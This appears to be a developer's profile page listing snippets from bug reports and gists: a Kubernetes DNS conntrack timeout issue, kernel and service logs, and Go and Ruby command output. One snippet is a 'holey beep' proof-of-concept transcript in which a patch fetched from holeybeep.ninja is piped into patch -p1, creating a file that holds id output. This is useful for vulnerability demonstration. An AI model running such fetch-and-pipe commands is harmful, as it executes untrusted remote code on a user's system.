Tero Marttila SpComb

Kube 1.11 CoreDNS + Ubuntu Bionic / Linux 4.15 => parallel DNS A+AAAA query timeouts due to response packets getting NF_DROP per nf_conntrack_confirm

Related but different issues:

AFAIK these describe the outging DNS query packets getting dropped per nf_conntrack_confirm collisions, but this is about the DNS response packets getting dropped due to nf_conntrack_confirm returning NF_DROP for the incoming response packet.

This increaes the duplicate get_unique_tuple race window from µs for the outgoing packet path to ms for the DNS server's query RTT.

$ go run main.go  
2018/05/31 13:37:05 watch.Util returned err=&errors.errorString{s:"timed out waiting for the condition"}
2018/05/31 13:37:05 RetryOnConflict returned err=<nil>

https://puppet.com/docs/puppet/5.0/release_notes.html#changed-behavior-for-relationship-chains-with-empty-sets

$ docker run --rm -it mtsmfm/ruby-trunk:alpine ruby -v
ruby 2.6.0dev (2018-05-15) [x86_64-linux-musl]
$ docker run --rm -it -v $PWD/test:/test mtsmfm/ruby-trunk:alpine ruby -W2 /test/asdf.rb

The behavior of getaddrinfo result sorting is inconsistent for the case of multiple randomly allocated server addresses within the client's source address subnet: it depends on the exact layout of the bits in the client source address vs the server addresses. For some randomly allocated set of server addresses the client may randomly connect to each address, and for other randomly allocated sets of server addresses the client may always connect to the same address.

Assuming that IP subnets are flat with randomly allocated addresses, it does not make any sense to assign any kind of topological significance in terms of preference-sorting by comparing addresses within the same subnet.

	Jul 26 05:28:57 pruju kernel: [15425402.132129] INFO: task imap:10978 blocked for more than 120 seconds.
	Jul 26 05:28:57 pruju kernel: [15425402.134705] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
	Jul 26 05:28:57 pruju kernel: [15425402.137899] imap D ffff88003fc130c0 0 10978 17377 0x00000000
	Jul 26 05:28:57 pruju kernel: [15425402.140768] ffff88003b761880 0000000000000086 ffff88003c023c68 ffffffff81610020
	Jul 26 05:28:57 pruju kernel: [15425402.143506] 00000000000130c0 ffff88003c023fd8 ffff88003c023fd8 ffff88003b761880
	Jul 26 05:28:57 pruju kernel: [15425402.146976] ffff880015000db8 00000001e5d9547b ffff88003c654240 ffff880015000e58
	Jul 26 05:28:57 pruju kernel: [15425402.150581] Call Trace:
	Jul 26 05:28:57 pruju kernel: [15425402.151721] [<ffffffff81355628>] ? __mutex_lock_common.isra.5+0xff/0x164
	Jul 26 05:28:57 pruju kernel: [15425402.154420] [<ffffffff81355516>] ? mutex_lock+0x1a/0x2d
	Jul 26 05:28:57 pruju kernel: [15425402.156460] [<ffffffff81108b7c>]

	2018/06/12 00:00:00 Schedule run started, deadline at 2018-06-12 01:00:00.00354948 +0000 UTC m=+913758.830134423
	2018/06/12 00:00:00 Acquiring kube lock...
	2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: get
	2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: wait
	2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: test pharos-host-upgrades.kontena.io/lock=: free
	2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: acquire
	2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: set pharos-host-upgrades.kontena.io/lock=terom-pharos-master
	2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: update
	2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: retry modify conflict: Operation cannot be fulfilled on daemonsets.apps "host-upgrades": the object has been modified; please apply your changes to the latest version and try again
	2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: get

	$ cat ~/pwn.lol
	cat: /home/terom/pwn.lol: No such file or directory
	$ curl -s https://holeybeep.ninja/beep.patch \| patch -p1
	patching file beep.c
	?
	sh: 1: beep: not found
	e.type = EV_SND;
	patch: **** ed FAILED
	$ cat ~/pwn.lol
	uid=1000(terom) gid=100(users) groups=100(users),27(sudo),999(docker)

	pi@raspberrypi:~ $ sudo curl --unix-socket /run/sensors/onewire.sock -s http://x/api/ \| json_pp
	{
	"Sensors" : [
	{
	"ID" : "28-0315a4b86dff",
	"Status" : {
	"Temperature" : 23.3125,
	"At" : "2018-03-25T09:51:38.276321169Z"
	},
	"Config" : {

	[ 183.095375] openvswitch: Open vSwitch switching datapath
	[ 183.248043] device datapath entered promiscuous mode
	[ 183.662353] weave: port 1(vethwedu) entered blocking state
	[ 183.801904] weave: port 1(vethwedu) entered disabled state
	[ 183.935354] device vethwedu entered promiscuous mode
	[ 184.091825] device vethwedu left promiscuous mode
	[ 184.221034] weave: port 1(vethwedu) entered disabled state
	[ 184.305423] IPv6: ADDRCONF(NETDEV_UP): vethwe-bridge: link is not ready
	[ 184.474534] IPv6: ADDRCONF(NETDEV_CHANGE): vethwe-bridge: link becomes ready
	[ 184.603880] device vethwe-datapath entered promiscuous mode

Tero Marttila SpComb

Kube 1.11 CoreDNS + Ubuntu Bionic / Linux 4.15 => parallel DNS A+AAAA query timeouts due to response packets getting NF_DROP per nf_conntrack_confirm

Related Issues